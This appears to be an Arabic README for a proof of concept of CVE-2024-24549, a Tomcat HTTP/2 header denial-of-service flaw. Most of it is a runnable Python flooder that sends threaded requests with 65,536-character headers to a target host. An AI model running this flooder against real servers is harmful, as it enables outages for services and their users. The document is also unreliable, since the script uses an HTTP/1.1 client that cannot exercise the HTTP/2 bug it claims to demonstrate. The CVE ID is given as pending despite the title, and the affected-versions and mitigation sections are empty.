
إثبات مفهوم لاستغلال ثغرة CVE-2024-24549، وهي ثغرة حرمان من الخدمة في Apache Tomcat عبر تجاوز رأس HTTP/2. يتضمن سكربت بايثون للاختبار واستنزاف الموارد.
يحتوي هذا المستودع على سكريبت إثبات المفهوم (PoC) الذي يوضح ثغرة حرمان من الخدمة (DoS) في Apache Tomcat. تنشأ الثغرة من التحقق غير السليم من مدخلات طلبات HTTP/2، مما يؤدي إلى ظروف محتملة لحرمان الخدمة.
CVE-ID: (معلق)
نظرة عامة: إصدارات Apache Tomcat من 11.0.0-M1 إلى 11.0.0-M16، ومن 10.1.0-M1 إلى 10.1.18، ومن 9.0.0-M1 إلى 9.0.85، ومن 8.5.0 إلى 8.5.98 معرضة لهجوم حرمان الخدمة. تحدث المشكلة عند معالجة طلبات HTTP/2 مع ترويسات تتجاوز الحدود المكونة. لا يتم إعادة تعيين تيار HTTP/2 إلا بعد معالجة جميع الترويسات، مما قد يؤدي إلى استنزاف الموارد.
الإصدارات المتأثرة:
التخفيفات:
يوضح سكريبت إثبات المفهوم هذا كيفية استغلال ثغرة DoS عن طريق إرسال طلبات HTTP/2 تتجاوز حدود الترويسات المكونة. يرسل السكريبت عددًا كبيرًا من الطلبات لاستنزاف موارد الخادم.
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os
# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"
# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def random_string(length):
"""Generate a random string of fixed length."""
letters = string.ascii_letters + string.digits
return ''.join(random.choice(letters) for i in range(length))
def dynamic_payload():
"""Generate a dynamic payload for requests."""
return random_string(random.randint(10, 100))
def send_request(conn, method, endpoint, headers, payload):
"""Send a single HTTP request."""
conn.request(method, endpoint, body=payload, headers=headers)
response = conn.getresponse()
return response.status, response.reason
def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
def worker(thread_id):
conn = None
try:
conn = http.client.HTTPSConnection(host, port, timeout=10)
for i in range(num_requests // concurrent_threads):
method = random.choice(["GET", "POST"])
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Test-Header": random_string(65536)
}
payload = dynamic_payload() if method == "POST" else None
status, reason = send_request(conn, method, "/", headers, payload)
logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")
with open(log_file, "a") as logf:
logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")
time.sleep(request_interval)
except Exception as e:
logging.error(f"Thread {thread_id} - An error occurred: {e}")
finally:
if conn:
conn.close()
# Create and start threads
threads = []
for i in range(concurrent_threads):
thread = threading.Thread(target=worker, args=(i + 1,))
thread.start()
threads.append(thread)
time.sleep(0.1)
for thread in threads:
thread.join()
logging.info("Completed sending requests")
def parse_args():
"""Parse command-line arguments."""
parser = argparse.ArgumentParser(description="HTTP Request Flooder")
parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
return parser.parse_args()
if __name__ == "__main__":
args = parse_args()
logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
send_dos_requests(
host=args.host,
port=args.port,
num_requests=args.num_requests,
concurrent_threads=args.concurrent_threads,
request_interval=args.request_interval,
log_file=args.log_file
)
host على عنوان الخادم المستهدف و port على المنفذ المناسب (عادةً 443 لـ HTTPS). اضبط num_requests للتحكم في عدد الطلبات المرسلة.لتخفيف هذه الثغرة:
لمزيد من المعلومات حول تأمين تثبيت Apache Tomcat الخاص بك، راجع وثائق Apache Tomcat الرسمية.
يوفر ملف README.md هذا نظرة عامة على الثغرة وسكريبت إثبات المفهوم وتعليمات التخفيف. تأكد من التعامل مع إثبات المفهوم هذا بمسؤولية وفقط على الأنظمة التي لديك إذن صريح لها.